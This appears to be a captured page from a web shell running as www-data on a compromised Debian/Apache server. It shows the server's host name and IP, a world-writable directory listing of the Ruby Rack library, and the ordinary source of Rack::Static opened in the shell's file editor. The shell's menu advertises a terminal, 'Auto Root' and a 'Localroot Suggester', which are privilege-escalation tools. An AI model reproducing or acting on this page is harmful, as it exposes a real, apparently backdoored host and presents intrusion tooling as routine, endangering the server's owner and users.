Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
ruby /
vendor_ruby /
rack /
Delete
Unzip
Name
Size
Permission
Date
Action
auth
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
backports
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
handler
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
multipart
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
session
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
utils
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
body_proxy.rb
958
B
-rwxrwxrwx
2020-07-10 13:18
builder.rb
4.27
KB
-rwxrwxrwx
2020-07-10 13:18
cascade.rb
1.34
KB
-rwxrwxrwx
2020-07-10 13:18
chunked.rb
1.58
KB
-rwxrwxrwx
2020-07-10 13:18
commonlogger.rb
2.28
KB
-rwxrwxrwx
2020-07-10 13:18
conditionalget.rb
2.5
KB
-rwxrwxrwx
2020-07-10 13:18
config.rb
379
B
-rwxrwxrwx
2020-07-10 13:18
content_length.rb
840
B
-rwxrwxrwx
2020-07-10 13:18
content_type.rb
670
B
-rwxrwxrwx
2020-07-10 13:18
deflater.rb
4.57
KB
-rwxrwxrwx
2020-07-10 13:18
directory.rb
4.24
KB
-rwxrwxrwx
2020-07-10 13:18
etag.rb
2.11
KB
-rwxrwxrwx
2020-07-10 13:18
file.rb
4.09
KB
-rwxrwxrwx
2020-07-10 13:18
handler.rb
3.25
KB
-rwxrwxrwx
2020-07-10 13:18
head.rb
484
B
-rwxrwxrwx
2020-07-10 13:18
lint.rb
29.26
KB
-rwxrwxrwx
2020-07-10 13:18
lobster.rb
1.97
KB
-rwxrwxrwx
2020-07-10 13:18
lock.rb
601
B
-rwxrwxrwx
2020-07-10 13:18
logger.rb
357
B
-rwxrwxrwx
2020-07-10 13:18
methodoverride.rb
1.01
KB
-rwxrwxrwx
2020-07-10 13:18
mime.rb
30.94
KB
-rwxrwxrwx
2020-07-10 13:18
mock.rb
5.68
KB
-rwxrwxrwx
2020-07-10 13:18
multipart.rb
1.14
KB
-rwxrwxrwx
2020-07-10 13:18
nulllogger.rb
951
B
-rwxrwxrwx
2020-07-10 13:18
recursive.rb
1.73
KB
-rwxrwxrwx
2020-07-10 13:18
reloader.rb
2.97
KB
-rwxrwxrwx
2020-07-10 13:18
request.rb
12.88
KB
-rwxrwxrwx
2020-07-10 13:18
response.rb
4.33
KB
-rwxrwxrwx
2020-07-10 13:18
rewindable_input.rb
3.19
KB
-rwxrwxrwx
2020-07-10 13:18
runtime.rb
961
B
-rwxrwxrwx
2020-07-10 13:18
sendfile.rb
5.18
KB
-rwxrwxrwx
2020-07-10 13:18
server.rb
10.8
KB
-rwxrwxrwx
2020-07-10 13:18
showexceptions.rb
11.7
KB
-rwxrwxrwx
2020-07-10 13:18
showstatus.rb
3.46
KB
-rwxrwxrwx
2020-07-10 13:18
static.rb
4.88
KB
-rwxrwxrwx
2020-07-10 13:18
tempfile_reaper.rb
670
B
-rwxrwxrwx
2020-07-10 13:18
urlmap.rb
2.46
KB
-rwxrwxrwx
2020-07-10 13:18
utils.rb
20.86
KB
-rwxrwxrwx
2020-07-10 13:18
Save
Rename
module Rack # The Rack::Static middleware intercepts requests for static files # (javascript files, images, stylesheets, etc) based on the url prefixes or # route mappings passed in the options, and serves them using a Rack::File # object. This allows a Rack stack to serve both static and dynamic content. # # Examples: # # Serve all requests beginning with /media from the "media" folder located # in the current directory (ie media/*): # # use Rack::Static, :urls => ["/media"] # # Serve all requests beginning with /css or /images from the folder "public" # in the current directory (ie public/css/* and public/images/*): # # use Rack::Static, :urls => ["/css", "/images"], :root => "public" # # Serve all requests to / with "index.html" from the folder "public" in the # current directory (ie public/index.html): # # use Rack::Static, :urls => {"/" => 'index.html'}, :root => 'public' # # Serve all requests normally from the folder "public" in the current # directory but uses index.html as default route for "/" # # use Rack::Static, :urls => [""], :root => 'public', :index => # 'index.html' # # Set custom HTTP Headers for based on rules: # # use Rack::Static, :root => 'public', # :header_rules => [ # [rule, {header_field => content, header_field => content}], # [rule, {header_field => content}] # ] # # Rules for selecting files: # # 1) All files # Provide the :all symbol # :all => Matches every file # # 2) Folders # Provide the folder path as a string # '/folder' or '/folder/subfolder' => Matches files in a certain folder # # 3) File Extensions # Provide the file extensions as an array # ['css', 'js'] or %w(css js) => Matches files ending in .css or .js # # 4) Regular Expressions / Regexp # Provide a regular expression # %r{\.(?:css|js)\z} => Matches files ending in .css or .js # /\.(?:eot|ttf|otf|woff2|woff|svg)\z/ => Matches files ending in # the most common web font formats (.eot, .ttf, .otf, .woff2, .woff, .svg) # Note: This Regexp is available as a shortcut, using the :fonts rule # # 5) Font Shortcut # Provide the :fonts symbol # :fonts => Uses the Regexp rule stated right above to match all common web font endings # # Rule Ordering: # Rules are applied in the order that they are provided. # List rather general rules above special ones. # # Complete example use case including HTTP header rules: # # use Rack::Static, :root => 'public', # :header_rules => [ # # Cache all static files in public caches (e.g. Rack::Cache) # # as well as in the browser # [:all, {'Cache-Control' => 'public, max-age=31536000'}], # # # Provide web fonts with cross-origin access-control-headers # # Firefox requires this when serving assets using a Content Delivery Network # [:fonts, {'Access-Control-Allow-Origin' => '*'}] # ] # class Static def initialize(app, options={}) @app = app @urls = options[:urls] || ["/favicon.ico"] @index = options[:index] root = options[:root] || Dir.pwd # HTTP Headers @header_rules = options[:header_rules] || [] # Allow for legacy :cache_control option while prioritizing global header_rules setting @header_rules.insert(0, [:all, {'Cache-Control' => options[:cache_control]}]) if options[:cache_control] @file_server = Rack::File.new(root) end def overwrite_file_path(path) @urls.kind_of?(Hash) && @urls.key?(path) || @index && path =~ /\/$/ end def route_file(path) @urls.kind_of?(Array) && @urls.any? { |url| path.index(url) == 0 } end def can_serve(path) route_file(path) || overwrite_file_path(path) end def call(env) path = env[PATH_INFO] if can_serve(path) env["PATH_INFO"] = (path =~ /\/$/ ? path + @index : @urls[path]) if overwrite_file_path(path) path = env["PATH_INFO"] response = @file_server.call(env) headers = response[1] applicable_rules(path).each do |rule, new_headers| new_headers.each { |field, content| headers[field] = content } end response else @app.call(env) end end # Convert HTTP header rules to HTTP headers def applicable_rules(path) @header_rules.find_all do |rule, new_headers| case rule when :all true when :fonts path =~ /\.(?:ttf|otf|eot|woff2|woff|svg)\z/ when String path = ::Rack::Utils.unescape(path) path.start_with?(rule) || path.start_with?('/' + rule) when Array path =~ /\.(#{rule.join('|')})\z/ when Regexp path =~ rule else false end end end end end